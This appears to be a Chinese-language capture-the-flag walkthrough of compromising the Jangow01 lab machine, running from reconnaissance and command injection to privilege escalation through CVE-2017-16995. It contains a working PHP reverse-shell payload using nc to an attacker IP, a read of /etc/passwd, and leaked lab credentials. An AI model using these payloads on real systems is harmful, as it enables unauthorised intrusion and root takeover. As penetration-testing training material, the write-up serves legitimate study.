命令执行原理
命令执行漏洞主要是服务端没有对执行命令的函数做出过滤导致的。我们可通过编写一些系统函数来输入疑似存在命令执行接口的地方,来检测是否此接口是否存在命令执行漏洞
漏洞实现过程:在一个页面找到一个url地址存在参数,页面为空白,参数未被赋值,猜测可能是代码执行漏洞或者命令执行漏洞,经过测试得出是命令执行漏洞,然后根据命令推测出是linux系统的主机。
常见的执行系统命令的函数有:
windows系统:
whoami:查看服务器用户名
ipconfig:查看本机IP地址子网掩码以及默认网关等
dir:查看本目录文件
Linux系统:
whoami:查看服务器用户名
ifconfig:查看本机IP地址子网掩码以及默认网关等
ls:列出本目录文件
pwd:查看现目录的绝对路径
一、环境搭建
Kali : 192.168.119.129
靶机: 192.168.119.140
二、信息收集
使用dirsearch进行目录扫描
发现了目录下有备份文件 进去查看有什么线索
找到一组账户密码记录一下:
$servername = "localhost";
$database = "jangow01";
$username = "jangow01";
$password = "abygurl69";
nmap扫描开放端口, 去查看目标主机开放了哪些端口
21端口 开启ftp 服务 80端口 开启apache服务
我们对80端口进行访问
点击site 后,就进入一个页面
点击Buscar, 有搜索选项
三、漏洞验证
猜测可能存在代码执行漏洞或者命令执行漏洞,输入命令:whoami 返回了一个www-data
可见是存在命令执行漏洞,通过命令 ifconfig 的回馈来看,是linux 系统的主机。
四、漏洞利用
1.~cat /etc/passwd 去查看账户密码信息
2.通过一句话木马尝试通过后门连接
通过收集,在其中找到了第二组账号密码
记录一下
$servername = "localhost";
$database = "desafio02";
$username = "desafio02";
$password = "abygurl69";
找到了两个密码后,没有可以登录的地方。
3.通过反弹shell 的思路
Kali 上开启监听443端口
反弹shell 代码 ,
<?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.119.129 443>/tmp/f');?>
保存为webshell.php ,通过蚁剑上传上去,,然后去访问这个webshell.php。
成功进行反弹shell
升级切换交互式shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
查看系统内核版本信息
五、权限提升
查询当前系统版本的漏洞
Ubuntu 16.04特定内核提权复现(CVE-2017-16995)
将exploit下载到当前目录下
了解使用说明
复制45010.c内容 打开记事本在本地新建一个45010.c 的文件,拖入到相应的目录下
查看是否将文件上传到靶机上,赋予45010.c 执行权限
对45010.c 进行编译
编译完毕后,去执行这个文件
成功提权
恭喜完成!!!
总结:Ubuntu 16.04版本存在本地提权漏洞,该漏洞存在于Linux内核带有的eBPF bpf(2)系统调用中,当用户提供恶意BPF程序使eBPF验证器模块产生计算错误,导致任意内存读写问题,攻击者通过普通用户权限可以利用该漏洞进行提升至高权限用户,获取root权限。